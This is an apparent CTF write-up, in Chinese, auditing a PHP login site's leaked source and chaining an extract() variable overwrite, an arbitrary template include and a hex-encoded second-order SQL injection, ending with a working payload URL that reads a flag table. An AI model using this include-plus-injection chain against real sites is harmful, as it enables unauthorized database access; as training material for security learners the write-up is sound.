安恒杯——西湖论剑5月web——未完成的网站1

进入页面是一个登录界面,似乎没有其他入口,页面上也没有什么线索,果断使用御剑进行站点扫描,发现web.zip,原来是一道代码审计题目。
项目目录如下

安恒杯——西湖论剑5月web——未完成的网站1_第1张图片

可以发现,项目除了index.php还有info.php、register.php等,我们一个个进行代码审计。
首先查看index.php源码

    require_once("common.php");
    require_once("config.php");
    if(isset($tem)){
        require("template/$tem.php");
    }else{
        require("template/index.php");
    }

    if(isset($_POST['username'])&&$_POST['password']){
        $sql_ = "select * from users where username='$username' and password='$password'";
        $db = new sql();
        $row = $db->getone($sql_);
        if(!empty($row)){
            session_start();
            $_SESSION['username'] = $username;
            header("Location: info.php");
            exit();
        }
    }
其次我们分别查看common.php和config.php

	# common.php
    function waf($arr){
        foreach ($arr as $key => $value) {
            if(!is_array($value)){
                $arr[$key] = addslashes($value);
            }else{
                $arr[$key] = waf($arr[$key]);
            }
        }
        return $arr;
    }

    $_POST = waf($_POST);
    $_GET = waf($_GET);

    $role = 1;
    $table = "users";

    extract($_POST,EXTR_SKIP);
    extract($_GET,EXTR_SKIP);
我们可以看到代码中使用了extract($_POST,EXTR_SKIP),这表示我们可以声明变量,但是我们也注意到,文件中存在waf这个方法,他过滤掉了单引号双引号,反斜杠,导致我们无法进行直接注入。
config.php为数据库,网上说addslashes在gbk下可以使用宽字节绕过,但是config.php中并为表明数据库为gbk,系统为linux的话一般是utf8的字符集。
继续审计代码,查看edit_info.php

    extract($_GET);
    require_once("common.php");
    require_once("config.php");
    session_start();
    if(is_numeric($role)){
        var_dump($_SESSION);
        $username = $_SESSION['username'];
        $role = addslashes($role);
        $sql_ = "update users set role=$role where username='$username'";
        $db = new sql();
        $db->register($sql_);
    }
这段代码代码有有点意思了,extract($_GET);,这表示之前已存在的变量也可以被他覆盖,根据if(is_numeric($role))$sql_ = "update users set role=$role where username='$username'";两端代码可以判断,注入点很有可能就是这个$role了, is_numeric我们可以通过16进制绕过,但是我们之前可以看到common.php中是已经声明了$role这个变量的,也就是说我们无法通过edit_info.php这个页面直接注入。
我们注意到,项目中的文件包含使用的是require_once,也就意味着,同样的文件只会被包含一次,而且代码中存在任意文件包含的问题
require("template/$tem.php");

这就意味着,我们可以在index.php中通过声明$tem来引入edit_info.php文件,从而绕过$role被重新赋值的问题。

知道了如何利用漏洞,接下来就是编写payload了。
index.php?tem=../edit_info.php&role=注入的16进制
关于16进制,我们可以在网上搜索字符串在线转16进制的网站
16进制在update的时候会被mysql自动解析成字符串。
这里省略一系列挖掘表和字段的过程,最终payload
# '/**/union/**/select/**/flag/**/as/**/info/**/from/**/f1ag_233#
index.php?tem=../edit_info.php&role=0x272f2a2a2f756e696f6e2f2a2a2f73656c6563742f2a2a2f666c61672f2a2a2f61732f2a2a2f696e666f2f2a2a2f66726f6d2f2a2a2f663161675f32333323
得到最终flag

安恒杯——西湖论剑5月web——未完成的网站1_第2张图片

你可能感兴趣的:(php,网络安全)